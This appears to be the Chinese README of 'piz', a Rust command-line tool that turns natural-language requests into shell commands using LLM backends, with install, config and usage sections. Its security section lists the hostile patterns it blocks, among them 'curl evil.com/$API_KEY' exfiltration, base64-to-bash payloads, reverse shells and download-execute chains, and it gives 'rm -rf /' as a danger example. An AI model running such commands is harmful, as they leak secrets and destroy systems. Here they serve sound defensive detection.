piz

智能终端命令助手
用自然语言描述，自动生成 Shell 命令

piz 是什么？

piz 解决一个问题：你知道想做什么，但记不住具体命令。用自然语言描述你的需求，piz 自动翻译成适合当前系统和 Shell 的命令。

$ piz 查看磁盘使用情况
  ➜ df -h
  [Y] 执行  [n] 取消  [e] 编辑  [r] 重新生成

核心功能

自然语言转命令 — 描述需求，得到精确命令
多 LLM 后端 — 支持 OpenAI、Claude、Gemini、Ollama + 12 个 OpenAI 兼容供应商（DeepSeek、硅基流动、OpenRouter、Moonshot、智谱GLM、百度千帆、阿里DashScope、Mistral、Together、Minimax、字节BytePlus 等）
安全加固 — 三层防护：Prompt 层拒绝非命令输入、注入检测（base64 载荷、环境变量泄露、反弹 Shell、curl 配置攻击）、正则危险分级
危险命令检测 — 正则 + LLM 双重防护，危险命令强制二次确认，无法跳过
命令解释 — piz -e 'command' 逐项拆解命令含义
命令纠错 — piz fix 自动诊断并修复失败命令，支持自动重试（最多 3 次）
交互式对话 — piz chat 多轮对话模式，支持 /help、/clear、/history 命令和历史持久化
多候选命令 — -n 参数生成多个命令方案，自主选择最优方案
重新生成 — 对结果不满意？按 [r] 跳过缓存重新请求 LLM，无需手动清缓存
本地缓存 — SQLite 缓存 + TTL 过期 + LRU 淘汰 + 模型隔离（切换模型自动失效旧缓存），重复查询秒返回
命令校验 — 自动清洗 LLM 输出的前导垃圾字符，拦截空命令和 no-op，提升中小模型兼容性
执行历史 — piz history 查看和搜索所有执行过的命令
Shell 集成 — piz init <shell> 生成 Shell 包装函数，使 cd/export/source 在当前 Shell 中正确生效（bash、zsh、fish、PowerShell），内置便捷别名（p、pf、pc）
Eval 模式 — --eval 将确认后的命令输出给 Shell 包装函数执行
Shell 补全 — 支持 bash、zsh、fish、PowerShell 自动补全
管道模式 — --pipe 纯命令输出，便于脚本集成
多语言界面 — 中文、英文，安全提示信息全面国际化
跨平台 — Windows (PowerShell/cmd)、macOS、Linux (bash/zsh/fish)，零侵入编码处理（不修改 chcp/OutputEncoding）
交互式配置 — 首次运行自动引导，内置供应商预设，无需手动编辑配置
NO_COLOR 支持 — 尊重 NO_COLOR 环境变量
API 容错 — 429/5xx 错误自动重试 + 指数退避

快速开始

安装

Homebrew（macOS / Linux）：

brew install AriesOxO/tap/piz

macOS / Linux（一键安装）：

curl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash

Windows（PowerShell）：

iwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex

Cargo（全平台）：

cargo install piz

手动下载：

前往 Releases 下载二进制文件、.msi（Windows）或 .deb（Debian/Ubuntu）。

平台	下载格式
Windows x86_64	`.msi` `.zip`
macOS x86_64	`.tar.gz`
macOS ARM64 (Apple Silicon)	`.tar.gz`
Linux x86_64	`.tar.gz` `.deb`
Linux ARM64	`.tar.gz`

配置

首次运行任何命令，会自动进入交互式配置向导：

$ piz 列出文件

  ⚙ piz 配置向导

? 选择语言 / Select language：中文
? 选择默认 LLM 后端：
  > openai (DeepSeek, SiliconFlow, OpenRouter, ...)
    claude
    gemini (Google)
    ollama (本地)
? 选择 API 供应商：
    OpenAI / DeepSeek / 硅基流动 / OpenRouter / Moonshot
    智谱GLM / 百度千帆 / 阿里DashScope / Mistral / Together
    Minimax / 字节BytePlus / 自定义URL
? API 地址：https://api.siliconflow.cn
? API 密钥：sk-xxxxx
? 模型名称：Qwen/Qwen3-8B
? 安全命令是否自动执行（不弹出确认）？是

  ✔ 配置已保存

也可以手动运行：piz config --init

使用示例

自然语言转命令

piz 查看磁盘使用情况              # → df -h
piz 找出所有大于100M的文件        # → find . -size +100M -type f
piz 压缩src目录                   # → tar -czf src.tar.gz src/
piz 查看3000端口被谁占用          # → lsof -i :3000
piz 统计当前目录代码行数          # → find . -name "*.rs" | xargs wc -l

多候选模式

$ piz -n 3 查找大文件
? 选择要执行的命令:
> 1. find . -size +100M -type f — 查找大于 100MB 的文件
  2. du -ah . | sort -rh | head -20 — 显示最大的 20 个文件/目录
  3. ls -lhRS | head -30 — 按大小降序列出文件

命令解释

$ piz -e 'awk "{print \$2}" access.log | sort | uniq -c | sort -rn | head -10'
📖 命令解释：

  awk "{print $2}"  — 提取每行第2个字段（通常是URL或IP）
  access.log        — 输入文件
  sort              — 排序（为 uniq 做准备）
  uniq -c           — 去重并统计出现次数
  sort -rn          — 按数字降序排列
  head -10          — 取前10条结果

命令纠错

$ npm install
→ EACCES: permission denied...

$ piz fix
🔧 诊断：权限不足，无法写入 node_modules
  - npm install
  + sudo npm install

修复命令支持自动重试：如果修复后的命令仍然失败，piz 会继续分析错误并尝试修复，最多 3 轮。

交互式对话模式

$ piz chat
💬 交互模式
输入你的请求，或 'exit'/'quit' 退出。

> 列出所有运行中的 docker 容器
  ➜ docker ps
  [Y] 执行  [n] 取消  [e] 编辑

> 只显示名称
  ➜ docker ps --format '{{.Names}}'

对话模式支持特殊命令：

/help — 显示可用命令
/clear — 清除对话历史
/history — 查看对话历史
/detail — 切换内联命令解释开关

执行历史

$ piz history                # 查看最近 20 条执行记录
$ piz history docker -l 10   # 搜索含 "docker" 的最近 10 条记录

Shell 补全

piz completions bash > ~/.bash_completion.d/piz   # Bash
piz completions zsh > ~/.zfunc/_piz                # Zsh
piz completions fish > ~/.config/fish/completions/piz.fish  # Fish
piz completions powershell > piz.ps1               # PowerShell

Shell 集成

Shell 集成可以让 cd、export、source 等命令在当前 Shell 会话中正确生效。运行 piz init <shell> 并将输出添加到你的 Shell 配置文件中：

Bash / Zsh：

# 添加到 ~/.bashrc 或 ~/.zshrc：
eval "$(piz init bash)"   # 或：eval "$(piz init zsh)"

Fish：

# 添加到 ~/.config/fish/config.fish：
piz init fish | source

PowerShell：

# 添加到 $PROFILE：
piz init powershell | Out-String | Invoke-Expression

配置完成后，piz 会自动使用 --eval 模式，cd、export、source 等命令将在当前 Shell 中正确生效。

Shell 集成还提供了内置便捷别名：

别名	命令	说明
`p`	`piz`	piz 短别名
`pf`	`piz fix`	快速修复上一条失败命令
`pc`	`piz chat`	快速进入对话模式

p 列出所有 rust 文件        # 等同于：piz 列出所有 rust 文件
pf                          # 等同于：piz fix
pc                          # 等同于：piz chat

管道模式

# 仅输出命令，无 UI —— 适合脚本集成
piz --pipe 查看所有 rust 文件   # → find . -name "*.rs"
eval $(echo "列出文件" | piz --pipe)  # 直接执行

配置管理

piz config --init        # 运行配置向导
piz config --show        # 查看当前配置（API 密钥自动脱敏）
piz config --reset       # 删除配置文件，重新开始

其他用法

piz --backend ollama 查看内存     # 临时切换后端
piz --backend gemini 查看CPU      # 使用 Google Gemini
piz --no-cache 查看系统信息       # 跳过缓存
piz --verbose 列出文件            # 调试：显示 Prompt 和 LLM 响应
piz -n 3 列出文件                 # 生成 3 个候选命令
piz clear-cache                   # 清空缓存
piz --eval 列出文件               # Eval 模式（用于 Shell 集成）
piz --version                     # 查看版本

更新

自更新

piz update                  # 交互式：检查最新版本并升级

piz update 检查 GitHub Releases 获取最新版本。如果有新版本，可选择两种升级方式：

覆盖安装 — 直接替换当前二进制文件
卸载后重装 — 先删除旧版本，再安装新版本

两种方式均支持失败自动回滚。

自动更新检查

piz 在每次运行后自动在后台检查更新（每 24 小时最多一次，5 秒超时，绝不会阻塞）。检测到新版本时会显示提示：

ℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.

无需任何配置即可使用。检查状态存储在 ~/.piz/update_state.json。

手动安装（指定版本）

如需安装特定版本，可直接从 GitHub Releases 下载：

# Linux/macOS — 替换 VERSION 和 TARGET
curl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz
sudo mv piz /usr/local/bin/

# Windows (PowerShell)
Invoke-WebRequest -Uri "https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip" -OutFile piz.zip
Expand-Archive piz.zip -DestinationPath .
Move-Item piz.exe "$env:LOCALAPPDATA\piz\piz.exe"

或通过安装脚本重新安装：

# Linux/macOS
curl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash

# Windows (PowerShell)
irm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex

支持的供应商

原生后端

后端	配置段	说明
OpenAI	`[openai]`	同时支持任何 OpenAI 兼容 API（通过 `base_url`）
Claude	`[claude]`	Anthropic Messages API，支持自定义 `base_url`
Gemini	`[gemini]`	Google Generative AI 原生 API
Ollama	`[ollama]`	本地模型，无需 API key

OpenAI 兼容供应商（通过 `[openai]` + 自定义 `base_url`）

点击展开全部 12 个供应商

供应商	base_url	默认模型
OpenAI	`https://api.openai.com`	gpt-4o-mini
DeepSeek	`https://api.deepseek.com`	deepseek-chat
硅基流动	`https://api.siliconflow.cn`	Qwen/Qwen3-8B
OpenRouter	`https://openrouter.ai/api/v1`	auto
Moonshot/Kimi	`https://api.moonshot.cn`	moonshot-v1-8k
智谱/GLM	`https://open.bigmodel.cn/api/paas/v4`	glm-4-flash
百度千帆	`https://qianfan.baidubce.com/v2`	deepseek-v3
阿里DashScope	`https://dashscope.aliyuncs.com/compatible-mode/v1`	qwen-plus
Mistral	`https://api.mistral.ai/v1`	mistral-small-latest
Together	`https://api.together.xyz/v1`	Meta-Llama-3-8B
Minimax	`https://api.minimax.io/v1`	MiniMax-M1
字节BytePlus	`https://api.byteplus.volcengineapi.com/v1`	doubao-1.5-pro-32k

配置文件

路径：~/.piz/config.toml

default_backend = "openai"
cache_ttl_hours = 48           # 缓存有效期（2天）
cache_max_entries = 1000       # 最大缓存条目数（LRU 淘汰）
auto_confirm_safe = true       # 安全命令自动执行
language = "zh"                # 界面语言：zh / en
chat_history_size = 20         # 对话历史最大消息数

[openai]
api_key = "sk-your-key"
model = "gpt-4o-mini"
# base_url = "https://api.openai.com"

# [claude]
# api_key = "sk-ant-xxx"
# model = "claude-sonnet-4-20250514"

# [gemini]
# api_key = "your-gemini-key"
# model = "gemini-2.5-flash"

# [ollama]
# host = "http://localhost:11434"
# model = "llama3"

常见供应商配置

DeepSeek

[openai]
api_key = "sk-your-deepseek-key"
model = "deepseek-chat"
base_url = "https://api.deepseek.com"

硅基流动 (SiliconFlow)

[openai]
api_key = "sk-your-key"
model = "Qwen/Qwen3-8B"
base_url = "https://api.siliconflow.cn"

Google Gemini

[gemini]
api_key = "your-gemini-key"
model = "gemini-2.5-flash"

OpenRouter

[openai]
api_key = "sk-or-your-key"
model = "auto"
base_url = "https://openrouter.ai/api/v1"

Moonshot / 月之暗面

[openai]
api_key = "sk-your-key"
model = "moonshot-v1-8k"
base_url = "https://api.moonshot.cn"

智谱 / GLM

[openai]
api_key = "your-key"
model = "glm-4-flash"
base_url = "https://open.bigmodel.cn/api/paas/v4"

安全机制

piz 实现了三层安全防护：

1. Prompt 层拒绝

非命令输入（问候、闲聊、Prompt 注入尝试）会被 LLM 拒绝并返回说明，不会生成可执行命令。

2. 注入检测（本地正则，无需 LLM）

命令在执行前会被扫描以下恶意模式：

环境变量泄露（curl evil.com/$API_KEY）
编码载荷（echo ... | base64 -d | bash）
反弹 Shell（python -e 'import socket...'）
Shell 配置覆写（> ~/.bashrc）
静默 Crontab 注入（| crontab -）
curl 配置文件攻击（curl -K malicious.conf）
下载-执行链（wget ... && chmod +x && ./）
危险的 find/xargs 模式（find -delete、xargs rm）

命中以上模式的命令会被直接拦截，无法执行。注入提示信息已全面国际化（中/英）。

缓存命中时也会重新验证注入检测 —— 中毒的缓存条目会被自动清除。

3. 危险分级

级别	行为	示例
安全	自动执行（如已配置）	`ls`、`df -h`、`git status`
警告	弹出确认	`sudo apt install`、`chmod 755`、`git push`
危险	红色警告 + 强制二次确认（无法跳过）	`rm -rf /`、`mkfs`、`DROP TABLE`

项目结构

piz/
├── src/
│   ├── main.rs          # 入口，CLI 分发，响应解析，多候选选择
│   ├── cli.rs           # clap 命令行参数定义（含 clap_complete）
│   ├── config.rs        # TOML 配置 + 交互式配置向导（12 个供应商预设）
│   ├── context.rs       # 系统上下文收集（OS、Shell、CWD、架构、Git、包管理器）
│   ├── i18n.rs          # 多语言翻译（中/英），含注入检测消息国际化
│   ├── llm/
│   │   ├── mod.rs       # LlmBackend trait + 工厂函数 + 重试/退避工具
│   │   ├── prompt.rs    # Prompt 模板（含安全规则、few-shot 示例、多候选支持）
│   │   ├── openai.rs    # OpenAI 兼容适配器（含重试）
│   │   ├── claude.rs    # Claude 适配器（含重试）
│   │   ├── gemini.rs    # Google Gemini 适配器（含重试）
│   │   └── ollama.rs    # Ollama 适配器（含重试）
│   ├── cache.rs         # SQLite 缓存（SHA256 key + TTL + LRU 淘汰）+ 执行历史
│   ├── danger.rs        # 正则危险检测 + 注入扫描（InjectionReason 枚举）
│   ├── executor.rs      # 用户确认交互 + 命令执行
│   ├── explain.rs       # 命令解释模式
│   ├── fix.rs           # 命令纠错模式 + 自动修复重试循环
│   ├── chat.rs          # 交互式对话模式（斜杠命令 + 历史持久化）
│   ├── history.rs       # Shell 历史记录读取
│   ├── shell_init.rs    # Shell 集成代码生成（bash/zsh/fish/PowerShell）+ 内置别名
│   └── ui.rs            # 终端输出格式化（Spinner、Diff、着色）
├── tests/
│   ├── integration.rs   # 集成测试
│   ├── llm_e2e.rs       # LLM 端到端测试（需要 API key，默认跳过）
│   └── windows_shells.rs # 跨 Shell 测试（cmd/PowerShell/bash）
├── homebrew/
│   └── piz.rb           # Homebrew formula 模板（发版时自动渲染）
├── install.sh           # macOS/Linux 安装脚本
└── install.ps1          # Windows 安装脚本

构建

# 前提：Rust 1.70+
git clone https://github.com/AriesOxO/piz.git
cd piz

cargo build --release      # 构建
cargo test                 # 运行测试（437 个）
cargo install --path .     # 安装到 PATH

环境变量

变量	说明
`NO_COLOR`	设置为任意值可禁用彩色输出

Name		Name	Last commit message	Last commit date
Latest commit History 101 Commits
.github		.github
assets		assets
homebrew		homebrew
src		src
tests		tests
.gitignore		.gitignore
CHANGELOG.md		CHANGELOG.md
CLAUDE.md		CLAUDE.md
CODE_OF_CONDUCT.md		CODE_OF_CONDUCT.md
CODE_OF_CONDUCT_EN.md		CODE_OF_CONDUCT_EN.md
CONTRIBUTING.md		CONTRIBUTING.md
CONTRIBUTING_EN.md		CONTRIBUTING_EN.md
Cargo.lock		Cargo.lock
Cargo.toml		Cargo.toml
LICENSE		LICENSE
README.md		README.md
README_EN.md		README_EN.md
SECURITY.md		SECURITY.md
SECURITY_EN.md		SECURITY_EN.md
install.ps1		install.ps1
install.sh		install.sh

Folders and files

Latest commit

History

Repository files navigation

piz

piz 是什么？

核心功能

快速开始

安装

配置

使用示例

自然语言转命令

多候选模式

命令解释

命令纠错

交互式对话模式

执行历史

Shell 补全

Shell 集成

管道模式

配置管理

其他用法

更新

自更新

自动更新检查

手动安装（指定版本）

支持的供应商

原生后端

OpenAI 兼容供应商（通过 [openai] + 自定义 base_url）

配置文件

常见供应商配置

安全机制

1. Prompt 层拒绝

2. 注入检测（本地正则，无需 LLM）

3. 危险分级

项目结构

构建

环境变量

参与贡献

许可证

Star History

About

Topics

Resources

Code of conduct

Contributing

Security policy

Stars

Watchers

Forks

Releases

Packages

Contributors

Languages

OpenAI 兼容供应商（通过 `[openai]` + 自定义 `base_url`）